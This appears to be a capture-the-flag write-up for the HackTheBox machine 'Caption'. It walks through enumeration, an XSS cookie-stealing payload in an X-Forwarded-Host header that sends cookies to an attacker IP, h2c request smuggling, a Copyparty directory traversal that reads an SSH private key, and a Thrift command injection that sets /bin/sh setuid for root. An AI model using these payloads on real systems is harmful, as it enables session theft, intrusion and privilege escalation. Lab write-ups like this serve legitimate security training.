



CAPTION

Caption



NUTZH

I'M CYBERSECURITY |



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exploitation, and privilege escalation. Let's dive in!

Enumeration with Nmap



BASH

```
1 nmap -sV 10.10.11.33 -T5
2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 03:2
3 Nmap scan report for caption.htb (10.10.11.33)
4 Host is up (1.3s latency).
5 Not shown: 905 closed tcp ports (reset), 92 filtered tcp port
6 PORT      STATE SERVICE      VERSION
7 22/tcp    open  ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (U
8 80/tcp    open  http         Werkzeug/3.0.1 Python/3.10.12
9 8080/tcp  open  http-proxy
```

- Port 22: OpenSSH 8.9p1 (Ubuntu)
- Port 80: HTTP server running Werkzeug (Python-based)
- Port 8080: HTTP proxy service (GitBucket)



the port 8080 is for GitBucket

GitBucket is a GitHub-like service. Accessing it reveals two repositories. After

some exploration, we find credentials for the user margo.

▼ 4 config/haproxy/haproxy.cfg

Ignore Space Show notes View





```
39 frontend http_front
40 bind *:80
41 default_backend http_back
42 acl restricted_page path_beg,url_dec -i /logs
43 acl restricted_page path_beg,url_dec -i /download
44 http-request auth unless { http_auth(AuthUsers) }
45 acl not_caption hdr_beg(host) -i caption.htb
46 http-request redirect code 301 location http://caption.htb if
    !not_caption
47
48 backend http_back
37 frontend http_front
38 bind *:80
39 default_backend http_back
40 acl restricted_page path_beg,url_dec -i /logs
41 acl restricted_page path_beg,url_dec -i /download
42 http-request deny if restricted_page
43 acl not_caption hdr_beg(host) -i caption.htb
44 http-request redirect code 301 location http://caption.htb if
    !not_caption
45
46 backend http_back
```

- Username: margo
- Password: vFr&cS2#0!

With margo's credentials, we log into the web application hosted on port 80. We notice that the /logs endpoint returns a 403 Forbidden error. Inspecting the page with F12 (Developer Tools), we identify a potential vulnerability in the request headers.

Vulnerability Discovery:

We use a Python script to automate requests with various headers to identify the vulnerable one:



```
1 import requests
2 import os
3
4 # Target URL
```

BASH





```
9      "session": "Margo's Cookie"
10 }
11
12 # List of headers to test
13 headers_list = [
14     "Accept",
15     "X-Forwarded-For",
16     "X-Forwarded-Proto",
17     "X-Real-IP",
18     "User-Agent",
19     "Referer",
20     "Origin",
21     "X-Forwarded-Host",
22     "Accept-Language",
23     "Accept-Encoding",
24     "X-Custom-Header",
25     "X-Rewrite-URL",
26     "X-Original-URL",
27     "X-HTTP-Method-Override",
28     "X-Forwarded-Path",
29     "X-Forwarded-Port",
30     "X-Forwarded-Scheme",
31     "X-Forwarded-Server",
32     "X-Forwarded-By",
33     "X-Forwarded-Prefix",
34     "X-Forwarded-Protocol",
35     "X-Forwarded-SSL",
36     "X-Url-Scheme",
37     "Via",
38     "Authorization",
```





```
43
44 # Arbitrary value to test
45 test_value = "TestValue123"
46
47 # Function to clear the cache
48 def clear_cache():
49     os.system("curl caption.htb -X XCGFULLBAN > /dev/null 2>&
50
51 # Test each header
52 for header in headers_list:
53     print(f"Testing header: {header}")
54
55 # Clear the cache before each request
56 clear_cache()
57
58 # Send the request with the header
59 response = requests.get(url, cookies=cookies, headers={he
60
61 # Check if the test value is reflected in the response
62 if test_value in response.text:
63     print(f"[+] Vulnerable Header Found: {header}")
64 else:
65     print(f"[-] Not Vulnerable: {header}")
```



Clear Cache: Before each request, clear the cache using:



BASH

```
1 $ curl caption.htb -X XCGFULLBAN #do it in every request u di
```





```

1 GET /firewalls HTTP/1.1
2 Host: caption.htb
3 Accept-Language: en-US,en;q=0.9
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
6 like Gecko) Chrome/130.0.6723.70 Safari/537.36
7 Accept: */*, application/javascript, application/json, application/xml;q=0.9,image/avif,image/webp,image/a
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 Referer: http://caption.htb/home
9 Accept-Encoding: gzip, deflate, br
10 Cookie: session=eyJOexAi01JKV1QiLCJhbGciOiJIUzI1NiJ9.eyJlc2Vybmc6ImlhcmdvIiwiZXhwIjoxNzM3MTU4MD
MzF0.CGIEEPNy2UB0a2nrhlyg8lftHyfUgUPb5rcQvTBqTBE
11 Connection: keep-alive
12 X-Forwarded-Host: <><script>document.location='http://10.10.16.80/?cookie='+document.cookie;</script>
13
14
15
16
17
18
19
20
21
22
23

```

↑

before forwarding the request to GET /firewalls , Run a Python HTTP server to capture the admin's cookie:



BASH

```
1 python3 -m http.server
```



Bypassing the /logs Directory

With the admin's cookie, we use h2csmuggler to bypass the /logs directory's 403 Forbidden restriction.

Create a Tunnel:



BASH

```
1 $ python3 h2csmuggler.py -x http://caption.htb/firewalls --te
2 [TINF01] h2c stream established successfully.
```



**BASH**

```
1 $ python3 h2csmuggler.py -x http://caption.htb/firewalls "htt
2
3
4 output
```

In the output, we find a local service running on port 3932.

http://localhost:3932/

**BASH**

```
1 python3 h2csmuggler.py -x http://caption.htb/firewalls "http:
```

foothold

The local service on port 3932 is identified as Copyparty, vulnerable to directory traversal (CVE-2023-51636). We exploit this to read sensitive files, including id_ecdsa (an ECDSA private key for SSH authentication).

Unlike id_rsa, which uses RSA encryption, id_ecdsa utilizes the Elliptic Curve Digital Signature Algorithm (ECDSA), offering stronger security with shorter key lengths and greater efficiency in certain contexts.

**BASH**

```
1 python3 h2csmuggler.py -x http://caption.htb/firewalls "http:
```





```
6 9sSkErzUOE0Jba7G1Ep2TawTJTbWb2KR0Yr0YLA0zysQAAAoJxnaNicZ2jYA
7 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
8 XXXXXXXXXXXXXXXX
9 -----END OPENSSH PRIVATE KEY-----
```

Using the retrieved private key, we log into the machine:

**BASH**

```
1 ssh margo@caption.htb -i id_ecdsa
2
3 margo@caption:~$ cat user.txt
4
```

Privilege Escalation

we have gained initial access to a system as the user margo. Through enumeration, we discovered a service running on port 9090 that is vulnerable

to command injection. This service is part of a Go application (`server.go`) found in the GitBucket repository. The vulnerability lies in the way the service processes user input, allowing us to inject arbitrary commands.

**BASH**

```
1 margo@caption:~$ ss -nltp
2 State      Recv-Q      Send-Q      Local Address:Port
```





7	LISTEN	0	10	127.0.0.1:6082
8	LISTEN	0	1024	127.0.0.1:3923
9	LISTEN	0	128	127.0.0.1:8000
10	LISTEN	0	128	0.0.0.0:22
11	LISTEN	0	4096	0.0.0.0:80
12	LISTEN	0	128	[::]:22

Vulnerability Discovery:

The service on port 9090 is a Thrift service that processes log files. The vulnerability is in the `server.go` file, where the service constructs a shell command using user-controlled input without proper sanitization:

**BASH**

```
1      }
2      timestamp := time.Now().Format(time.RFC3339)
3      logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s"
4      exec.Command("/bin/sh", "-c", logs)
5  }
```



Here, the `userAgent` variable is directly interpolated into a shell command, which is then executed. This allows us to inject arbitrary commands by crafting a malicious `userAgent` string. To exploit this vulnerability, we need to craft a payload that will be executed when the service processes our input.





The '#' at the end is used to comment out any trailing characters that might interfere with our command.

The files gonna look like this :



BASH

```
1 margo@caption:/tmp$ cat Devil.log
2
3 127.0.0.1 "user-agent":""; /bin/bash /tmp/nutzh.sh #
4
5 margo@caption:/tmp$ cat nutzh.sh
6
7 chmod +s /bin/sh
```

We also make the script executable:



BASH

```
1 margo@caption:/tmp$ chmod +x nutzh.sh
```

To interact with the Thrift service, we need to install the thrift library and generate the client code from the Thrift IDL file.



BASH

```
1 pip3 install thrift
```





BASH

```
1 $ echo 'namespace go log_service
2
3 service LogService {
4     string ReadLogFile(1: string filePath)
5 }' > log_service.thrift
```

Generate the Python client code from the Thrift IDL file:



BASH

```
1 thrift -gen py log_service.thrift
```

This will create a gen-py directory containing the client code.

We now write a Python script that will interact with the Thrift service and trigger the command injection vulnerability.



BASH

```
1 from thrift import Thrift
2 from thrift.transport import TSocket
3 from thrift.transport import TTransport
4 from thrift.protocol import TBinaryProtocol
5 from log_service import LogService # Import generated Thrift
6
7 def main():
8     # Set up a transport to the server
9     transport = TSocket.TSocket('localhost', 9090)
```





```
14     # Using a binary protocol
15     protocol = TBinaryProtocol.TBinaryProtocol(transport)
16
17     # Create a client to use the service
18     client = LogService.Client(protocol)
19
20     # Open the connection
21     transport.open()
22
23     try:
24         # Specify the log file path to process
25         log_file_path = "/tmp/devil.log"
26
27         # Call the remote method ReadLogFile and get the resu
28         response = client.ReadLogFile(log_file_path)
29         print("Server response:", response)
30
31     except Thrift.TException as tx:
32         print(f"Thrift exception: {tx}")
33
34     # Close the transport
35     transport.close()
36
37 if __name__ == '__main__':
38     main()
```



Move this script to the gen-py directory and run it:



BASH





We can now escalate our privileges by running /bin/sh with the -p option, which preserves the effective user ID:



BASH

```
1 $ margo@caption:/tmp$ /bin/sh -p
2 # whoami
3 root
```

GG! 🎉

key takeaway:

Enumeration is Critical: manual inspection of services (e.g., GitBucket) are essential for identifying attack vectors.

Header Injection: Always test for header vulnerabilities (e.g., X-Forwarded-Host) when dealing with web applications.

Directory Traversal: Exploiting file read vulnerabilities can lead to credential theft (e.g., SSH keys).

Command Injection: Improper input sanitization in logging mechanisms can lead to privilege escalation.

Thrift Exploitation: Understanding how to interact with services like Thrift can unlock advanced exploitation techniques.







